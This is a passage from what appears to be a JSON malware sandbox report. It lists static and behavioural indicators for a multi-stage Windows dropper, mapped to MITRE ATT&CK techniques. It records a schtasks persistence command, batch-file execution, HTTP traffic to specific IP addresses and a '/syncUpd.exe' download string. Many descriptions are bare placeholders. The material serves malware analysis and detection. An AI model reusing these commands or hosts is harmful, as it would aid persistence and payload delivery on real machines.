executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"PE file contains large number of import functions","description":"Observed large number of imported APIs from \"user32.dll\" : \"215\" [Source: BroomSetup.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-145","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"BroomSetup.exe\" has an writable section named \".data\"\n \"BroomSetup.exe\" has an writable section named \".bss\"\n \"BroomSetup.exe\" has an writable section named \".idata\"\n \"BroomSetup.exe\" has an writable section named \".didata\"\n \"BroomSetup.exe\" has an writable section named \".tls\"\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" has an writable section named \".data\"\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" has an writable section named \".tls\"\n \"InstallSetup9.exe\" has an writable section named \".data\"\n \"InstallSetup9.exe\" has an writable section named \".ndata\"\n \"rty25.exe\" has an writable section named \".data\"\n \"toolspub1.exe\" has an writable section named \".data\"\n \"toolspub1.exe\" has an writable section named \".tls\"\n \"INetC.dll\" has an writable section named \".data\"\n \"CHCP.COM.6A98C882.bin\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$50","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x74ca00\" greater than 0x100000\n Raw size of \".text\" is \"0x396200\" greater than 0x100000\n Raw size of \".text\" is \"0x41c200\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x74c8c4\" greater than 0x100000\n Virtual size of \".text\" is \"0x396038\" greater than 0x100000\n Virtual size of \".text\" is \"0x41c0da\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x4eebf8\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"rty25.exe\" has high imagebase \"0x100000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\system32\\schtasks.exe\" [Source: 00000000-00003592-00000C47-12546594078]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$51","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$52","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"References Windows LDAP client module","description":"Found string \":\\Windows\\system32\\WLDAP32.dll\" (Source: \"00000000-00000640.00000001.80757.00260000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\WLDAP32.dll\" (Source: \"00000000-00002856.00000000.80757.00220000.00000004.mdmp, 00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\WLDAP32.dll\" (Source: \"00000000-00004500.00000001.82966.002F0000.00000004.mdmp, 00000000-00004500.00000002.84888.002F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-987","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"BroomSetup.exe\" searching for class \"msctls_updown32\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"InstallSetup9.exe\" (UID: 00000000-00002856)\n Spawned process \"toolspub1.exe\" (UID: 00000000-00004224)\n Spawned process \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (UID: 00000000-00002512)\n Spawned process \"BroomSetup.exe\" (UID: 00000000-00004500)\n Spawned process \"cmd.exe\" with commandline \"/c \"\"%APPDATA%\\\\Temp\\\\Task.bat\" \"\" (UID: 00000000-00003592)\n Spawned process \"chcp.com\" with commandline \"chcp 1251\" (UID: 00000000-00003192)\n Spawned process \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (UID: 00000000-00003348)\n Spawned process \"schtasks.exe\" with commandline \"schtasks /create /tn \"MalayamaraUpdate\" /tr \"'%TEMP%\\\\Updater.e ...\" (UID: 00000000-00002732)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"InstallSetup9.exe\" (UID: 00000000-00002856)\n Spawned process \"toolspub1.exe\" (UID: 00000000-00004224)\n Spawned process \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (UID: 00000000-00002512)\n Spawned process \"BroomSetup.exe\" (UID: 00000000-00004500)\n Spawned process \"cmd.exe\" with commandline \"/c \"\"%APPDATA%\\\\Temp\\\\Task.bat\" \"\" (UID: 00000000-00003592)\n Spawned process \"chcp.com\" with commandline \"chcp 1251\" (UID: 00000000-00003192)\n Spawned process \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (UID: 00000000-00003348)\n Spawned process \"schtasks.exe\" with commandline \"schtasks /create /tn \"MalayamaraUpdate\" /tr \"'%TEMP%\\\\Updater.e ...\" (UID: 00000000-00002732)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"The input sample contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 1877717)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-26","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"BroomSetup.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"InstallSetup9.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"toolspub1.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"INetC.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"CHCP.COM.6A98C882.bin\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\InstallSetup9.exe\"\n \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\toolspub1.exe\"\n \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\31839b57a4f11171d6abc8bbc4451ee4.exe\"\n \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\rty25.exe\"\n \"InstallSetup9.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\BroomSetup.exe\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" connecting to \"\\ThemeApiPort\"\n \"InstallSetup9.exe\" connecting to \"\\ThemeApiPort\"\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" connecting to \"\\ThemeApiPort\"\n \"BroomSetup.exe\" connecting to \"\\ThemeApiPort\"\n \"schtasks.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$55","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$56","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"\"INetC.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"- Location: [%TEMP%\\nsi3737.tmp\\INetC.dll]- [targetUID: 00000000-00002856]","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"cmd.exe\" queries basic process information of the \"C:\\Users\" (UID: 3592)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\Globalization\\Sorting\\SortDefault.nls\" (UID: 3592)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$57","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$58","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$59","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$5a","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$5b","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$5c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$5d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\installsetup9.exe\"\n \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\toolspub1.exe\"\n \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\31839b57a4f11171d6abc8bbc4451ee4.exe\"\n \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\rty25.exe\"\n \"InstallSetup9.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\broomsetup.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"InstallSetup9.exe\" called \"HttpOpenRequestW\" (UID: 00000000-00002856)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"InstallSetup9.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00002856)\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00002512)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"InstallSetup9.exe\" called \"InternetOpenA with parameter NSIS_Inetc (Mozilla)\" (UID: 00000000-00002856)\n \"InstallSetup9.exe\" called \"InternetOpenW with parameter NSIS_Inetc (Mozilla)\" (UID: 00000000-00002856)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectW\" (Indicator: \"InternetConnect\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"InternetConnectW\" (Indicator: \"InternetConnect\"; Source: \"00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestW\" (Indicator: \"HttpOpenRequest\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"HttpOpenRequestW\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")\n Found reference to API \"8171020,3420,3232,,HttpOpenRequestW,Wininet.dll,\"253:36:43.382\",RX=0,PX=0\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to query information about shared network resources (API string)","description":"Found reference to API \"EnumPrintersW\" (Indicator: \"EnumPrinters\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":3,"id":"string-190","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"Found reference to API \"NetUserGetInfo\" (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve internet settings (API string)","description":"Found reference to API \"InternetQueryOptionW\" (Indicator: \"InternetQueryOption\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"InternetQueryOptionW\" (Indicator: \"InternetQueryOption\"; Source: \"00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-314","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionW\" (Indicator: \"InternetSetOption\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"InternetSetOptionW\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"Found string \"Content-Disposition: form-data; name=\"%hs\"; filename=\"%ls\"\"; Source: \"00000000-00004500.00000001.82966.70891000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; Source: \"00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$60","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Network Related","name":"Contains references to the retrieval of internet session handle (imports API)","description":"Found InternetQueryOptionW in import section (Source: INetC.dll)","origin":"Static Parser","mitre_attack_id":"T1016","relevance":1,"id":"static-206","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 185.172.128.90 on port 80\n HTTP traffic to 5.42.64.33 on port 80\n HTTP traffic to 185.172.128.109 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"ten.sdapop.evres\" [Source: 00000000-00002856.00000001.82683.00220000.00000004.mdmp\n 00000000-00002856.00000002.82814.00220000.00000004.mdmp]\n Observed email domain:\"www.gmx.net\" [Source: 00000000-00002856.00000001.82683.00220000.00000004.mdmp\n 00000000-00002856.00000002.82814.00220000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$61","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"GET /ping.php?substr=nine HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002856.00000001.82683.00220000.00000004.mdmp\")\n Found string \"T /syncUpd.exe HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp\")\n Found string \"T /ping.php?substr=nine HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002856.00000002.82814.00220000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Compress data using CryptoPP library","description":"YARA signature for compress data function process \"00000000-00004500\"","origin":"YARA Signature","mitre_attack_id":"T1560.002","relevance":1,"id":"yara-179","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to empty the recycle bin (API string)","description":"Found reference to API \"SHEmptyRecycleBinA\" (Indicator: \"EmptyRecycleBin\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-111","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Ransomware/Banking","name":"Imports SHEmptyRecycleBin API","description":"Observed import api \"SHEmptyRecycleBin\" which can \"empty the Recycle Bin on the specified drive\" [Source: BroomSetup.exe]","origin":"Static Parser","mitre_attack_id":"T1070","relevance":1,"id":"static-84","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to perform remote desktop activity (API string)","description":"Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1021.001","relevance":1,"id":"string-436","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information (API string)","description":"Found reference to API \"WTSQuerySessionInformationA\" (Indicator: \"WTSQuerySessionInformation\"; File: 